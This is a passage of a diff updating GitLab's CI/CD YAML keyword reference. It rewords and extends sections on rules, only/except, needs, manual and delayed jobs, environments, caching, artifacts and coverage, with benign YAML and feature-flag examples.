`$DOCKERFILES_DIR` variable exists, its value is used. If it does not exist, the
`$` is interpreted as being part of a path.
-###### Enable or disable variables support in `rules:changes` **(CORE ONLY)**
-
-Variables support in `rules:changes` is under development, but is ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can opt to disable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:ci_variable_expansion_in_rules_changes)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:ci_variable_expansion_in_rules_changes)
-```
-
#### `rules:exists`
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24021) in GitLab 12.4.
`exists` accepts an array of paths and matches if any of these paths exist
-as files in the repository.
-
-For example:
+as files in the repository:
```yaml
job:
@@ -1412,10 +1375,7 @@ job:
- Dockerfile
```
-You can also use glob patterns to match multiple files in any directory within
-the repository.
-
-For example:
+You can also use glob patterns to match multiple files in any directory in the repository:
```yaml
job:
@@ -1432,7 +1392,7 @@ checks. After the 10,000th check, rules with patterned globs always match.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30235) in GitLab 12.8.
-You can use [`allow_failure: true`](#allow_failure) within `rules:` to allow a job to fail, or a manual job to
+You can use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail, or a manual job to
wait for action, without stopping the pipeline itself. All jobs using `rules:` default to `allow_failure: false`
if `allow_failure:` is not defined.
@@ -1442,7 +1402,7 @@ triggered by the particular rule.
```yaml
job:
- script: "echo Hello, Rules!"
+ script: echo "Hello, Rules!"
rules:
- if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"'
when: manual
@@ -1451,6 +1411,56 @@ job:
In this example, if the first rule matches, then the job has `when: manual` and `allow_failure: true`.
+#### `rules:variables`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/209864) in GitLab 13.7.
+> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
+> - It's disabled on GitLab.com.
+> - It's not recommended for production use.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-rulesvariables). **(CORE ONLY)**
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+You can use [`variables`](#variables) in `rules:` to define variables for specific conditions.
+
+For example:
+
+```yaml
+job:
+ variables:
+ DEPLOY_VARIABLE: "default-deploy"
+ rules:
+ - if: $CI_COMMIT_REF_NAME =~ /master/
+ variables: # Override DEPLOY_VARIABLE defined
+ DEPLOY_VARIABLE: "deploy-production" # at the job level.
+ - if: $CI_COMMIT_REF_NAME =~ /feature/
+ variables:
+ IS_A_FEATURE: "true" # Define a new variable.
+ script:
+ - echo "Run script with $DEPLOY_VARIABLE as an argument"
+ - echo "Run another script if $IS_A_FEATURE exists"
+```
+
+##### Enable or disable rules:variables **(CORE ONLY)**
+
+rules:variables is under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:ci_rules_variables)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:ci_rules_variables)
+```
+
#### Complex rule clauses
To conjoin `if`, `changes`, and `exists` clauses with an `AND`, use them in the
@@ -1458,7 +1468,7 @@ same rule.
In the following example:
-- If the `Dockerfile` file or any file in `/docker/scripts` has changed, and var=blah,
+- If the `Dockerfile` file or any file in `/docker/scripts` has changed, and `$VAR` == "string value",
then the job runs manually
- Otherwise, the job isn't included in the pipeline.
@@ -1471,7 +1481,7 @@ docker build:
- Dockerfile
- docker/scripts/*
when: manual
- # - when: never would be redundant here, this is implied any time rules are listed.
+ # - "when: never" would be redundant here. It is implied any time rules are listed.
```
Keywords such as `branches` or `refs` that are available for
@@ -1491,13 +1501,13 @@ job1:
if: ($CI_COMMIT_BRANCH == "master" || $CI_COMMIT_BRANCH == "develop") && $MY_VARIABLE
```
-CAUTION: **Caution:**
+WARNING:
[Before GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/230938),
rules that use both `||` and `&&` may evaluate with an unexpected order of operations.
### `only`/`except` (basic)
-NOTE: **Note:**
+NOTE:
The [`rules`](#rules) syntax is an improved, more powerful solution for defining
when jobs should run or not. Consider using `rules` instead of `only/except` to get
the most out of your pipelines.
@@ -1513,11 +1523,10 @@ There are a few rules that apply to the usage of job policy:
- `only` and `except` are inclusive. If both `only` and `except` are defined
in a job specification, the ref is filtered by `only` and `except`.
-- `only` and `except` allow the use of regular expressions ([supported regexp syntax](#supported-onlyexcept-regexp-syntax)).
-- `only` and `except` allow to specify a repository path to filter jobs for
- forks.
+- `only` and `except` can use regular expressions ([supported regexp syntax](#supported-onlyexcept-regexp-syntax)).
+- `only` and `except` can specify a repository path to filter jobs for forks.
-In addition, `only` and `except` allow the use of special keywords:
+In addition, `only` and `except` can use special keywords:
| **Value** | **Description** |
|--------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
@@ -1534,6 +1543,10 @@ In addition, `only` and `except` allow the use of special keywords:
| `triggers` | For pipelines created by using a [trigger token](../triggers/README.md#trigger-token). |
| `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. |
+Scheduled pipelines run on specific branches, so jobs configured with `only: branches`
+run on scheduled pipelines too. Add `except: schedules` to prevent jobs with `only: branches`
+from running on scheduled pipelines.
+
In the example below, `job` runs only for refs that start with `issue-`,
whereas all branches are skipped:
@@ -1621,7 +1634,7 @@ that begin with `issue-`, but you can use `/issue-.*/`.
Regular expression flags must be appended after the closing `/`.
-TIP: **Tip:**
+NOTE:
Use anchors `^` and `$` to avoid the regular expression
matching only a substring of the tag name or branch name.
For example, `/^issue-.*$/` is equivalent to `/^issue-/`,
@@ -1638,8 +1651,8 @@ Only a subset of features provided by [Ruby Regexp](https://ruby-doc.org/core/Re
are now supported.
From GitLab 11.9.7 to GitLab 12.0, GitLab provided a feature flag to
-let you use the unsafe regexp syntax. This flag allowed
-compatibility with the previous syntax version so you could gracefully migrate to the new syntax.
+let you use unsafe regexp syntax. After migrating to safe syntax, you should disable
+this feature flag again:
```ruby
Feature.enable(:allow_unsafe_ruby_regexp)
@@ -1647,8 +1660,8 @@ Feature.enable(:allow_unsafe_ruby_regexp)
### `only`/`except` (advanced)
-GitLab supports both simple and complex strategies, so it's possible to use an
-array and a hash configuration scheme.
+GitLab supports multiple strategies, and it's possible to use an
+array or a hash configuration scheme.
Four keys are available:
@@ -1789,18 +1802,18 @@ job1:
Using the `changes` keyword with `only` or `except` makes it possible to define if
a job should be created based on files modified by a Git push event.
-The `only:changes` policy is only useful for pipelines triggered by the following
-refs:
+Use the `only:changes` policy for pipelines triggered by the following
+refs only:
- `branches`
- `external_pull_requests`
- `merge_requests` (see additional details about [using `only:changes` with pipelines for merge requests](#using-onlychanges-with-pipelines-for-merge-requests))
-CAUTION: **Caution:**
+WARNING:
In pipelines with [sources other than the three above](../variables/predefined_variables.md)
`changes` can't determine if a given file is new or old and always returns `true`.
-This includes pipelines triggered by pushing new tags. Configuring jobs to use `only: changes`
-with other `only: refs` keywords is possible, but not recommended.
+You can configure jobs to use `only: changes` with other `only: refs` keywords. However,
+those jobs ignore the changes and always run.
A basic example of using `only: changes`:
@@ -1825,12 +1838,12 @@ the `docker build` job is created, but only if changes were made to any of the f
- Any of the files and subdirectories in the `dockerfiles` directory.
- Any of the files with `rb`, `py`, `sh` extensions in the `more_scripts` directory.
-CAUTION: **Warning:**
+WARNING:
If you use `only:changes` with [only allow merge requests to be merged if the pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds),
you should [also use `only:merge_requests`](#using-onlychanges-with-pipelines-for-merge-requests). Otherwise it may not work as expected.
You can also use glob patterns to match multiple files in either the root directory
-of the repository, or in _any_ directory within the repository. However, they must be wrapped
+of the repository, or in _any_ directory in the repository. However, they must be wrapped
in double quotes or GitLab can't parse them. For example:
```yaml
@@ -1869,10 +1882,9 @@ With [pipelines for merge requests](../merge_request_pipelines/index.md),
it's possible to define a job to be created based on files modified
in a merge request.
-To deduce the correct base SHA of the source branch, we recommend combining
-this keyword with `only: [merge_requests]`. This way, file differences are correctly
-calculated from any further commits, thus all changes in the merge requests are properly
-tested in pipelines.
+Use this keyword with `only: [merge_requests]` so GitLab can find the correct base
+SHA of the source branch. File differences are correctly calculated from any further
+commits, and all changes in the merge requests are properly tested in pipelines.
For example:
@@ -1937,11 +1949,11 @@ runs.
> - In GitLab 12.3, maximum number of jobs in `needs` array raised from five to 50.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30631) in GitLab 12.8, `needs: []` lets jobs start immediately.
-The `needs:` keyword enables executing jobs out-of-order, allowing you to implement
-a [directed acyclic graph](../directed_acyclic_graph/index.md) in your `.gitlab-ci.yml`.
+Use the `needs:` keyword to execute jobs out-of-order. Relationships between jobs
+that use `needs` can be visualized as a [directed acyclic graph](../directed_acyclic_graph/index.md).
-This lets you run some jobs without waiting for other ones, disregarding stage ordering
-so you can have multiple stages running concurrently.
+You can ignore stage ordering and run some jobs without waiting for others to complete.
+Jobs in multiple stages can run concurrently.
Let's consider the following example:
@@ -2009,7 +2021,7 @@ This example creates four paths of execution:
##### Changing the `needs:` job limit **(CORE ONLY)**
-The maximum number of jobs that can be defined within `needs:` defaults to 50.
+The maximum number of jobs that can be defined in `needs:` defaults to 50.
A GitLab administrator with [access to the GitLab Rails console](../../administration/feature_flags.md)
can choose a custom limit. For example, to set the limit to 100:
@@ -2127,12 +2139,59 @@ build_job:
needs:
- project: $CI_PROJECT_PATH
job: $DEPENDENCY_JOB_NAME
- ref: $CI_COMMIT_BRANCH
+ ref: $ARTIFACTS_DOWNLOAD_REF
artifacts: true
```
Downloading artifacts from jobs that are run in [`parallel:`](#parallel) is not supported.
+To download artifacts between [parent-child pipelines](../parent_child_pipelines.md) use [`needs:pipeline`](#artifact-downloads-to-child-pipelines).
+Downloading artifacts from the same ref as the currently running pipeline is not
+recommended because artifacts could be overridden by concurrent pipelines running
+on the same ref.
+
+##### Artifact downloads to child pipelines
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/255983) in GitLab v13.7.
+
+A [child pipeline](../parent_child_pipelines.md) can download artifacts from a job in
+its parent pipeline or another child pipeline in the same parent-child pipeline hierarchy.
+
+For example, with the following parent pipeline that has a job that creates some artifacts:
+
+```yaml
+create-artifact:
+ stage: build
+ script: echo 'sample artifact' > artifact.txt
+ artifacts:
+ paths: [artifact.txt]
+
+child-pipeline:
+ stage: test
+ trigger:
+ include: child.yml
+ strategy: depend
+ variables:
+ PARENT_PIPELINE_ID: $CI_PIPELINE_ID
+```
+
+A job in the child pipeline can download artifacts from the `create-artifact` job in
+the parent pipeline:
+
+```yaml
+use-artifact:
+ script: cat artifact.txt
+ needs:
+ - pipeline: $PARENT_PIPELINE_ID
+ job: create-artifact
+```
+
+The `pipeline` attribute accepts a pipeline ID and it must be a pipeline present
+in the same parent-child pipeline hierarchy of the given pipeline.
+
+The `pipeline` attribute does not accept the current pipeline ID (`$CI_PIPELINE_ID`).
+To download artifacts from a job in the current pipeline, use the basic form of [`needs`](#artifact-downloads-with-needs).
+
### `tags`
Use `tags` to select a specific runner from the list of all runners that are
@@ -2181,7 +2240,7 @@ The default value is `false`, except for [manual](#whenmanual) jobs using the
`when: manual` syntax, unless using [`rules:`](#rules) syntax, where all jobs
default to false, *including* `when: manual` jobs.
-When `allow_failure` is enabled and the job fails, the job shows an orange warning in the UI.
+When `allow_failure` is set to `true` and the job fails, the job shows an orange warning in the UI.
However, the logical flow of the pipeline considers the job a
success/passed, and is not blocked.
@@ -2218,16 +2277,13 @@ failure.
`when` can be set to one of the following values:
-1. `on_success` - execute job only when all jobs from prior stages
- succeed (or are considered succeeding because they have `allow_failure: true`).
- This is the default.
-1. `on_failure` - execute job only when at least one job from prior stages
- fails.
-1. `always` - execute job regardless of the status of jobs from prior stages.
-1. `manual` - execute job manually (added in GitLab 8.10). Read about
- [manual jobs](#whenmanual) below.
-1. `delayed` - execute job after a certain period (added in GitLab 11.14).
- Read about [delayed jobs](#whendelayed) below.
+1. `on_success` (default) - Execute job only when all jobs in earlier stages succeed,
+ or are considered successful because they have `allow_failure: true`.
+1. `on_failure` - Execute job only when at least one job in an earlier stage fails.
+1. `always` - Execute job regardless of the status of jobs in earlier stages.
+1. `manual` - Execute job [manually](#whenmanual).
+1. `delayed` - [Delay the execution of a job](#whendelayed) for a specified duration.
+ Added in GitLab 11.14.
1. `never`:
- With [`rules`](#rules), don't execute job.
- With [`workflow:rules`](#workflowrules), don't run pipeline.
@@ -2280,10 +2336,6 @@ The above script:
#### `when:manual`
-> - Introduced in GitLab 8.10.
-> - Blocking manual jobs were introduced in GitLab 9.0.
-> - Protected actions were introduced in GitLab 9.2.
-
A manual job is a type of job that is not executed automatically and must be explicitly
started by a user. You might want to use manual jobs for things like deploying to production.
@@ -2316,21 +2368,17 @@ You can use [protected branches](../../user/project/protected_branches.md) to mo
In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201938) and later, you
can use `when:manual` in the same job as [`trigger`](#trigger). In GitLab 13.4 and
earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`.
-It is deployed behind the `:ci_manual_bridges` [feature flag](../../user/feature_flags.md), which is **enabled by default**.
-[GitLab administrators with access to the Rails console](../../administration/feature_flags.md)
-can opt to disable it.
##### Protecting manual jobs **(PREMIUM)**
-It's possible to use [protected environments](../environments/protected_environments.md)
-to define a precise list of users authorized to run a manual job. By allowing only
-users associated with a protected environment to trigger manual jobs, it's possible
-to implement some special use cases, such as:
+Use [protected environments](../environments/protected_environments.md)
+to define a list of users authorized to run a manual job. You can authorize only
+the users associated with a protected environment to trigger manual jobs, which can:
-- More precisely limiting who can deploy to an environment.
-- Enabling a pipeline to be blocked until an approved user "approves" it.
+- More precisely limit who can deploy to an environment.
+- Block a pipeline until an approved user "approves" it.
-To do this, you must:
+To protect a manual job:
1. Add an `environment` to the job. For example:
@@ -2353,17 +2401,17 @@ To do this, you must:
this list can trigger this manual job, as well as GitLab administrators
who are always able to use protected environments.
-Additionally, if you define a manual job as blocking by adding `allow_failure: false`,
-the pipeline's next stages don't run until the manual job is triggered. You can use this
-to define a list of users allowed to "approve" later pipeline
-stages by triggering the blocking manual job.
+You can use protected environments with blocking manual jobs to have a list of users
+allowed to approve later pipeline stages. Add `allow_failure: false` to the protected
+manual job and the pipeline's next stages only run after the manual job is triggered
+by authorized users.
#### `when:delayed`
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/51352) in GitLab 11.4.
-Delayed job are for executing scripts after a certain period.
-This is useful if you want to avoid jobs entering `pending` state immediately.
+Use `when: delayed` to execute scripts after a waiting period, or if you want to avoid
+jobs immediately entering the `pending` state.
You can set the period with `start_in` key. The value of `start_in` key is an elapsed time in seconds, unless a unit is
provided. `start_in` key must be less than or equal to one week. Examples of valid values include:
@@ -2375,7 +2423,7 @@ provided. `start_in` key must be less than or equal to one week. Examples of val
- `1 week`
When there is a delayed job in a stage, the pipeline doesn't progress until the delayed job has finished.
-This means this keyword can also be used for inserting delays between different stages.
+This keyword can also be used for inserting delays between different stages.
The timer of a delayed job starts immediately after the previous stage has completed.
Similar to other types of jobs, a delayed job's timer doesn't start unless the previous stage passed.
@@ -2398,11 +2446,7 @@ Soon GitLab Runner picks up and starts the job.
### `environment`
-> - Introduced in GitLab 8.9.
-> - You can read more about environments and find more examples in the
-> [documentation about environments](../environments/index.md).
-
-`environment` is used to define that a job deploys to a specific environment.
+Use `environment` to define the [environment](../environments/index.md) that a job deploys to.
If `environment` is specified and no environment under that name exists, a new
one is created automatically.
@@ -2420,13 +2464,10 @@ deployment to the `production` environment.
#### `environment:name`
-> - Introduced in GitLab 8.11.
-> - Before GitLab 8.11, the name of an environment could be defined as a string like
-> `environment: production`. The recommended way now is to define it under the
-> `name` keyword.
-> - The `name` keyword can use any of the defined CI variables,
-> including predefined, secure variables and `.gitlab-ci.yml` [`variables`](#variables).
-> You however can't use variables defined under `script`.
+The `environment: name` keyword can use any of the defined CI variables,
+including predefined, secure, or `.gitlab-ci.yml` [`variables`](#variables).
+
+You can't use variables defined in a `script` section.
The `environment` name can contain:
@@ -2457,12 +2498,10 @@ deploy to production:
#### `environment:url`
-> - Introduced in GitLab 8.11.
-> - Before GitLab 8.11, the URL could be added only in GitLab's UI. The
-> recommended way now is to define it in `.gitlab-ci.yml`.
-> - The `url` keyword can use any of the defined CI variables,
-> including predefined, secure variables and `.gitlab-ci.yml` [`variables`](#variables).
-> You however can't use variables defined under `script`.
+The `url` keyword can use any of the defined CI variables,
+including predefined, secure, or `.gitlab-ci.yml` [`variables`](#variables).
+
+You can't use variables defined in a `script` section.
This optional value exposes buttons that take you to the defined URL
@@ -2531,15 +2570,15 @@ environment. A new `stop_review_app` job is listed under `on_stop`.
After the `review_app` job is finished, it triggers the
`stop_review_app` job based on what is defined under `when`. In this case,
it is set to `manual`, so it needs a [manual action](#whenmanual) from
-GitLab's user interface to run.
+the GitLab UI to run.
Also in the example, `GIT_STRATEGY` is set to `none`. If the
`stop_review_app` job is [automatically triggered](../environments/index.md#automatically-stopping-an-environment),
the runner won’t try to check out the code after the branch is deleted.
The example also overwrites global variables. If your `stop` `environment` job depends
-on global variables, you can use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY`.
-This changes the job without overriding the global variables.
+on global variables, use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY`
+to change the job without overriding the global variables.
The `stop_review_app` job is **required** to have the following keywords defined:
@@ -2604,7 +2643,7 @@ environment, using the `production`
For more information, see
[Available settings for `kubernetes`](../environments/index.md#configuring-kubernetes-deployments).
-NOTE: **Note:**
+NOTE:
Kubernetes configuration is not supported for Kubernetes clusters
that are [managed by GitLab](../../user/project/clusters/index.md#gitlab-managed-clusters).
To follow progress on support for GitLab-managed clusters, see the
@@ -2612,11 +2651,7 @@ To follow progress on support for GitLab-managed clusters, see the
#### Dynamic environments
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21971) in GitLab 8.12 and GitLab Runner 1.6.
-> - The `$CI_ENVIRONMENT_SLUG` was [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/22864) in GitLab 8.15.
-> - The `name` and `url` keywords can use any of the defined CI variables,
-> including predefined, secure variables and `.gitlab-ci.yml` [`variables`](#variables).
-> You however can't use variables defined under `script`.
+Use CI/CD [variables](../variables/README.md) to dynamically name environments.
For example:
@@ -2629,36 +2664,27 @@ deploy as review app:
url: https://$CI_ENVIRONMENT_SLUG.example.com/
```
-The `deploy as review app` job is marked as deployment to dynamically
-create the `review/$CI_COMMIT_REF_NAME` environment, where `$CI_COMMIT_REF_NAME`
+The `deploy as review app` job is marked as a deployment to dynamically
+create the `review/$CI_COMMIT_REF_NAME` environment. `$CI_COMMIT_REF_NAME`
is an [environment variable](../variables/README.md) set by the runner. The
`$CI_ENVIRONMENT_SLUG` variable is based on the environment name, but suitable
-for inclusion in URLs. In this case, if the `deploy as review app` job is run
-in a branch named `pow`, this environment would be accessible with an URL like
-`https://review-pow.example.com/`.
-
-This implies that the underlying server that hosts the application
-is properly configured.
+for inclusion in URLs. If the `deploy as review app` job runs in a branch named
+`pow`, this environment would be accessible with a URL like `https://review-pow.example.com/`.
The common use case is to create dynamic environments for branches and use them
-as Review Apps. You can see a simple example using Review Apps at
+as Review Apps. You can see an example that uses Review Apps at
<https://gitlab.com/gitlab-examples/review-apps-nginx/>.
### `cache`
-> - Introduced in GitLab Runner v0.7.0.
-> - `cache` can be set globally and per-job.
-> - From GitLab 9.0, caching is enabled and shared between pipelines and jobs
-> by default.
-> - From GitLab 9.2, caches are restored before [artifacts](#artifacts).
-
`cache` is used to specify a list of files and directories that should be
-cached between jobs. You can only use paths that are within the local working
-copy.
+cached between jobs. You can only use paths that are in the local working copy.
If `cache` is defined outside the scope of jobs, it means it's set
globally and all jobs use that definition.
+Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts).
+
Read how caching works and find out some good practices in the
[caching dependencies documentation](../caching/index.md).
@@ -2707,17 +2733,15 @@ Otherwise cache content can be overwritten.
#### `cache:key`
-> Introduced in GitLab Runner v1.0.0.
-
The `key` keyword defines the affinity of caching between jobs.
You can have a single cache for all jobs, cache per-job, cache per-branch,
-or any other way that fits your workflow. This way, you can fine tune caching,
+or any other way that fits your workflow. You can fine tune caching,
including caching data between different jobs or even different branches.
The `cache:key` variable can use any of the
[predefined variables](../variables/README.md). The default key, if not
set, is just literal `default`, which means everything is shared between
-pipelines and jobs by default, starting from GitLab 9.0.
+pipelines and jobs by default.
For example, to enable per-branch caching:
@@ -2810,7 +2834,7 @@ If neither file was changed in any commits, the prefix is added to `default`, so
key in the example would be `test-default`.
Like `cache:key`, `prefix` can use any of the [predefined variables](../variables/README.md),
-but the following are not allowed:
+but cannot include:
- the `/` character (or the equivalent URI-encoded `%2F`)
- a value made only of `.` (or the equivalent URI-encoded `%2E`)
@@ -2867,9 +2891,9 @@ rspec:
`cache:when` defines when to save the cache, based on the status of the job. You can
set `cache:when` to:
-- `on_success` - save the cache only when the job succeeds. This is the default.
-- `on_failure` - save the cache only when the job fails.
-- `always` - save the cache regardless of the job status.
+- `on_success` (default): Save the cache only when the job succeeds.
+- `on_failure`: Save the cache only when the job fails.
+- `always`: Always save the cache.
For example, to store a cache whether or not the job fails or succeeds:
@@ -2884,17 +2908,14 @@ rspec:
#### `cache:policy`
-> Introduced in GitLab 9.4.
-
The default behavior of a caching job is to download the files at the start of
execution, and to re-upload them at the end. Any changes made by the
job are persisted for future runs. This behavior is known as the `pull-push` cache
policy.
If you know the job does not alter the cached files, you can skip the upload step
-by setting `policy: pull` in the job specification. Typically, this would be
-twinned with an ordinary cache job at an earlier stage to ensure the cache
-is updated from time to time:
+by setting `policy: pull` in the job specification. You can add an ordinary cache
+job at an earlier stage to ensure the cache is updated from time to time:
```yaml
stages:
@@ -2921,9 +2942,8 @@ rspec:
- bundle exec rspec ...
```
-This helps to speed up job execution and reduce load on the cache server.
-It is especially helpful when you have a large number of cache-using jobs executing in
-parallel.
+The `pull` policy speeds up job execution and reduces load on the cache server. It
+can be used when you have many jobs that use caches executing in parallel.
If you have a job that unconditionally recreates the cache without
referring to its previous contents, you can skip the download step.
@@ -2931,12 +2951,6 @@ To do so, add `policy: push` to the job.
### `artifacts`
-> - Introduced in GitLab Runner v0.7.0 for non-Windows platforms.
-> - Windows support was added in GitLab Runner v.1.0.0.
-> - From GitLab 9.2, caches are restored before artifacts.
-> - Not all executors are [supported](https://docs.gitlab.com/runner/executors/#compatibility-chart).
-> - Job artifacts are only collected for successful jobs by default.
-
`artifacts` is used to specify a list of files and directories that are
attached to the job when it [succeeds, fails, or always](#artifactswhen).
@@ -2944,6 +2958,11 @@ The artifacts are sent to GitLab after the job finishes. They are
available for download in the GitLab UI if the size is not
larger than the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd).
+Job artifacts are only collected for successful jobs by default, and
+artifacts are restored after [caches](#cache).
+
+[Not all executors can use caches](https://docs.gitlab.com/runner/executors/#compatibility-chart).
+
[Read more about artifacts](../pipelines/job_artifacts.md).
#### `artifacts:paths`
@@ -3079,11 +3098,8 @@ Note the following:
#### `artifacts:name`
-> Introduced in GitLab 8.6 and GitLab Runner v1.1.0.
-
Use the `name` directive to define the name of the created artifacts
-archive. You can specify a unique name for every archive, which can be
-useful when you want to download the archive from GitLab. The `artifacts:name`
+archive. You can specify a unique name for every archive. The `artifacts:name`
variable can make use of any of the [predefined variables](../variables/README.md).
The default name is `artifacts`, which becomes `artifacts.zip` when you download it.
@@ -3190,16 +3206,14 @@ artifacts:
#### `artifacts:when`
-> Introduced in GitLab 8.9 and GitLab Runner v1.3.0.
-
`artifacts:when` is used to upload artifacts on job failure or despite the
failure.
`artifacts:when` can be set to one of the following values:
-1. `on_success` - upload artifacts only when the job succeeds. This is the default.
-1. `on_failure` - upload artifacts only when the job fails.
-1. `always` - upload artifacts regardless of the job status.
+1. `on_success` (default): Upload artifacts only when the job succeeds.
+1. `on_failure`: Upload artifacts only when the job fails.
+1. `always`: Always upload artifacts.
For example, to upload artifacts only when a job fails:
@@ -3211,8 +3225,6 @@ job:
#### `artifacts:expire_in`
-> Introduced in GitLab 8.9 and GitLab Runner v1.3.0.
-
Use `expire_in` to specify how long artifacts are active before they
expire and are deleted.
@@ -3260,31 +3272,29 @@ in GitLab 13.4.
The [`artifacts:reports` keyword](../pipelines/job_artifacts.md#artifactsreports)
is used for collecting test reports, code quality reports, and security reports from jobs.
-It also exposes these reports in GitLab's UI (merge requests, pipeline views, and security dashboards).
+It also exposes these reports in the GitLab UI (merge requests, pipeline views, and security dashboards).
These are the available report types:
-| Keyword | Description |
-|--------------------------------------------------------------------------------------------------------------------------------------|-------------|
-| [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. |
-| [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects CodeQuality issues. |
+| Keyword | Description |
+|-----------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------|
+| [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. |
+| [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects CodeQuality issues. |
| [`artifacts:reports:container_scanning`](../pipelines/job_artifacts.md#artifactsreportscontainer_scanning) **(ULTIMATE)** | The `container_scanning` report collects Container Scanning vulnerabilities. |
| [`artifacts:reports:dast`](../pipelines/job_artifacts.md#artifactsreportsdast) **(ULTIMATE)** | The `dast` report collects Dynamic Application Security Testing vulnerabilities. |
| [`artifacts:reports:dependency_scanning`](../pipelines/job_artifacts.md#artifactsreportsdependency_scanning) **(ULTIMATE)** | The `dependency_scanning` report collects Dependency Scanning vulnerabilities. |
-| [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) | The `dotenv` report collects a set of environment variables. |
-| [`artifacts:reports:junit`](../pipelines/job_artifacts.md#artifactsreportsjunit) | The `junit` report collects JUnit XML files. |
+| [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) | The `dotenv` report collects a set of environment variables. |
+| [`artifacts:reports:junit`](../pipelines/job_artifacts.md#artifactsreportsjunit) | The `junit` report collects JUnit XML files. |
| [`artifacts:reports:license_management`](../pipelines/job_artifacts.md#artifactsreportslicense_management) **(ULTIMATE)** | The `license_management` report collects Licenses (*removed from GitLab 13.0*). |
| [`artifacts:reports:license_scanning`](../pipelines/job_artifacts.md#artifactsreportslicense_scanning) **(ULTIMATE)** | The `license_scanning` report collects Licenses. |
-| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. |
-| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. |
-| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. |
+| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. |
+| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. |
+| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. |
| [`artifacts:reports:sast`](../pipelines/job_artifacts.md#artifactsreportssast) **(ULTIMATE)** | The `sast` report collects Static Application Security Testing vulnerabilities. |
-| [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. |
+| [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. |
#### `dependencies`
-> Introduced in GitLab 8.6 and GitLab Runner v1.1.1.
-
By default, all [`artifacts`](#artifacts) from previous [stages](#stages)
are passed to each job. However, you can use the `dependencies` keyword to
define a limited list of jobs to fetch artifacts from. You can also set a job to download no artifacts at all.
@@ -3355,8 +3365,6 @@ and bring back the old behavior.
### `coverage`
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/20428) in GitLab 8.17.
-
Use `coverage` to configure how code coverage is extracted from the
job output.
@@ -3365,7 +3373,7 @@ surrounding `/` is mandatory to consistently and explicitly represent
a regular expression string. You must escape special characters if you want to
match them literally.
-A simple example:
+For example:
```yaml
job1:
@@ -3373,6 +3381,11 @@ job1:
coverage: '/Code coverage: \d+\.\d+/'
```
+The coverage is shown in the UI if at least one line in the job output matches the regular expression.
+If there is more than one matched line in the job output, the last line is used.
+For the matched line, the first occurence of `\d+(\.\d+)?` is the code coverage.
+Leading zeros are removed.
+
### `retry`
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/3442) in GitLab 9.5.
@@ -3435,7 +3448,7 @@ Possible values for `when` are:
The test there makes sure that all documented
values are valid as a configuration option and therefore should always
stay in sync with this documentation.
- -->
+-->
- `always`: Retry on any failure (default).
- `unknown_failure`: Retry when the failure reason is unknown.
@@ -3478,16 +3491,11 @@ exceed the runner-specific timeout.
